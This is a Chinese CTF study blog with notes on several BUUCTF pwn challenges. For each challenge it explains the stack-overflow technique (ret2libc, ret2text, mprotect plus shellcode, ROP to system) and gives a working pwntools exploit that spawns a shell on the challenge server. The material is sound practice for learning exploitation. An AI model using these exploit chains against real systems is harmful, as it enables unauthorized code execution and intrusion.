BUUCTF PWN刷题笔记(持续更新!!)
ciscn_2019_c_1
64位,没有开启保护。点进去没发现明显的漏洞函数,考虑泄露libc基地址的rop构造。先看看有多少gadget
估计也够用了。puts函数只接受一个参数,观看汇编看看用的哪个寄存器传输的参数。
用的是edi。但是我们怎么找到so的版本呢,因为我们必须要知道so文件种puts函数的偏移量,才可以和泄露出puts的地址结合找到基址。可以用LibcSearch模块来搜索。
libcsearch(符号,地址)
新的心得:
1.64位有效地址是6字节。
2.libc.dump是LibcSearch的内置函数
- 通过泄漏的函数真实地址,工具会匹配对应的 libc 版本,并直接返回其他函数或字符串的偏移量,避免手动计算。--豆包
可惜我的libcsearch出问题了
在线网站:libc database search
libc-database
可以自己搜这个。
另外就是因为函数的crypto函数,我们需要先传入一个\0,防止被吞payload。
最后,一定需要注意栈对齐。在栈我们填充的垃圾字节似乎会影响到栈指针16字节对齐。
、下面是解释接受泄露地址的\x7f的原因(小端序下)
为什么不直接recv呢?
想要recv,就必须先接受crypto函数的第一个puts,否则直接recv的不是地址。然后,还需要先接受crypto的第一个输出,不然recv的还不是地址,有点麻烦。
exp:
from pwn import *
from LibcSearcher3 import *
context.log_level = 'debug'
p = remote("node5.buuoj.cn",26318)
elf = ELF("./pwn")
pop_rdi_ret = 0x400c83
func = 0x4009A0p.sendlineafter(b"choice!\n", b'1')puts_got = elf.got["puts"]
payload2 =b'\0'+ b'A'*(0x50+8-1) + p64(pop_rdi_ret) + p64(puts_got) + p64(elf.plt['puts'])+p64(func)
p.sendline(payload2)
true_puts = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
#我的没有找到地址,只好手动添加
system_addr = true_puts-0x31580
bin_sh_addr = true_puts+0x1334da
p.recvuntil(b"encrypted\n")
#下面的p64(0x04006b9)就是一个ret 来栈对齐的
payload3 =b'\0'+ b'A'*(0x50+8-1) +p64(0x04006b9 ) +p64(pop_rdi_ret) + p64(bin_sh_addr) + p64(system_addr)
p.sendline(payload3)p.interactive()
jarvisoj_level2_x64
同样64位未开启保护,进入ida看看。注意到plt有个system字段,字符有/bin/sh,而且存在栈溢出的函数,可以感受到这就是入门题目,写一个exp练练手:
from pwn import *
elf=ELF("./pwn")
p=remote("node5.buuoj.cn",27443)
bin_sh=next(elf.search('/bin/sh'))
pop_rdi_ret=0x004006b3
ret=0x4004a1
system=elf.plt['system']
payload=b'A'*(128+8)+p64(ret)+p64(pop_rdi_ret)+p64(bin_sh)+p64(system)
p.send(payload)
p.interactive()
get_started_3dsctf_2016
参考:get_started_3dsctf_2016 - 不会修电脑 - 博客园
get_started_3dsctf_2016【BUUCTF】(两种解法)_if ( a1 == 814536271 && a2 == 425138641 ) { v2 = f-CSDN博客
32位没有保护,这次gaddet不好说也省去了。
方法一:ret2text
寻找到这一个函数,初步怀疑是ret2text。先试试行不行。
显然注意到a1a2的值还要有要求,查看汇编层面:开局有一个esp-8的操作,然后arg_0是对地址4操作的意思,arg_4是对地址为8操作的意思.这俩参数经过ida的main栈帧查看发现其实是在返回地址之后。因为main的argc和argv具有相同的4、8.但是这样并不能帮助我们修改它们的值
难道这样就没办法了吗?不要忘记C语言调用参数约定,我们只要按照约定,构造rsp即可。不用看这部分汇编代码,只需要在addr后4字节覆盖参数。
这里必须用exit,不然不会回显出来,因为没有开启标准输入输出。
from pwn import *q = remote('node5.buuoj.cn',26793)
context.log_level = 'debug'# 仅修正字节类型,其他不变
payload = b'a'*56 # 改为字节类型
payload += p32(0x080489A0) + p32(0x0804E6A0)
payload += p32(0x308CD64F) + p32(0x195719D1)
q.sendline(payload)
sleep(0.1) # 可保留,但非必要
q.recv()
方法二:ret2shellcode
妈的,还有这种思路。注意到下面有这个函数:
int mprotect(const void *start, size_t len, int prot);
第一个参数填的是一个地址,是指需要进行操作的地址。
第二个参数是地址往后多大的长度。
第三个参数的是要赋予的权限。7就是可读可写可执行。
这个函数可以把某个空间改为可执行。 唯一能利用的空间肯定要动调找。千万别用栈,地址可能会变化。那唯一能用的只有下部分的。前两个不太清楚是什么东西,先选取紫色的试试。
而且这样的话,需要read函数往里面填充我们的shellcode。
这里构造ROP需要注意,用pop_ret要清理参数,不然第二个函数的参数不好处理了。因为运行到gets的时候ESP指向的参数实际上不对劲的,可以自己画画看看,这里不多演示了。
from pwn import *
context.log_level = 'debug'# 检查 ELF 文件
elf = ELF('./pwn') if os.path.exists('./pwn') else Nonep = remote("node5.buuoj.cn", 29198)
mprotect = 0x806EC80
pop3_ret = 0x0804f460
read_addr = 0x0804F630
buf = 0x80ea000payload = b"a"*56 + p32(mprotect) + p32(pop3_ret) + p32(buf) + p32(0x1000) + p32(0x7) + p32(read_addr) + p32(buf) + p32(buf) p.sendline(payload)
sleep(0.1) # 确保 payload 发送完成payload2 = asm(shellcraft.sh(),arch='i386',os='linux')
p.sendline(payload2)p.interactive()
这里的shellcraft必须跟上后面俩,不然不成功。
[HarekazeCTF2019]baby_rop
64位程序,打开IDA看看。有个system的plt表项,估计要用ret2syscall思路。
其实没那么复杂,程序本身也有/bin/sh,只需要rdi传输一个参数即可。
一下子就出来shell,但是没有看到flag。显然需要使用find命令。
find . -name "flag" -type f -exec cat {} \; 2>/dev/null
命令解释:
find .
从当前目录(.
)开始递归查找。
-name "flag"
查找文件名精确匹配flag
的文件(区分大小写)。
若要忽略大小写:
-iname "flag"
若要查找包含
flag
的文件(如flag1.txt
):-name "*flag*"
-type f
仅查找普通文件(排除目录、符号链接等)。
-exec cat {} \;
对每个找到的文件执行cat
命令输出其内容。
{}
是find
的占位符,表示当前文件。
\;
是命令结束符,需转义(;
在 shell 中有特殊含义)。
2>/dev/null
丢弃错误输出(如权限不足导致的错误),仅保留正常输出。
2
(stderr):标准错误输出(命令执行错误信息,屏幕显示)。
exp:
from pwn import *
context.log_level='debug'
elf=ELF('./pwn')
p=remote("node5.buuoj.cn",26576)
system=elf.plt['system']
pop_rdi_ret=0x400683
bin_sh=0x0601048
payload=b'A'*(16+8)+p64(pop_rdi_ret)+p64(bin_sh)+p64(system)
p.sendline(payload)
p.interactive()
others_shellcode
参考了[BUUCTF-pwn]——others_shellcode-CSDN博客
看名字就知道是shellcode。但是这个开启了PIE。瞬间没有思路了,也只有一个Getshell函数。
妈的,这个函数还真的getshell了,直接nc就做出来了。我晕
突然看别的题解,看了汇编代码。现在看看它的汇编
int 80都出来了,极可能实现了execve。也不知道它的考点是啥。
[OGeek2019]babyrop
32位,没有保护。
这个是主函数(已经修改部分变量名):首先给buf读取了4字节。
看看vuln的逻辑:
可见必须得看v2是否满足条件,(v2在这里就是参数a1)。第一个的read无法造成栈溢出。
v2和func密切相关,进去分析分析。
首先设置s和buf均为0.
sprintf
函数的作用是把格式化后得到的字符串存到指定的字符数组中。在这个语句里:
- 第一个参数
s
代表存储格式化结果的目标字符串。- 第二个参数
"%ld"
是格式控制字符串,这里的%ld
意味着要以长整型(long int
)的形式进行格式化输出。- 第三个参数
buf_1
是需要被格式化的值。
read函数返回的读取成功的字节,v5就是这个值。这么婆婆妈妈的,就是把buf的最后一个变成0,使buf疑似成为字符串。问了豆包,假如BUF不输入,可能会跳满足这个判断,但是又没办法利用vuln了。
----------------------待更新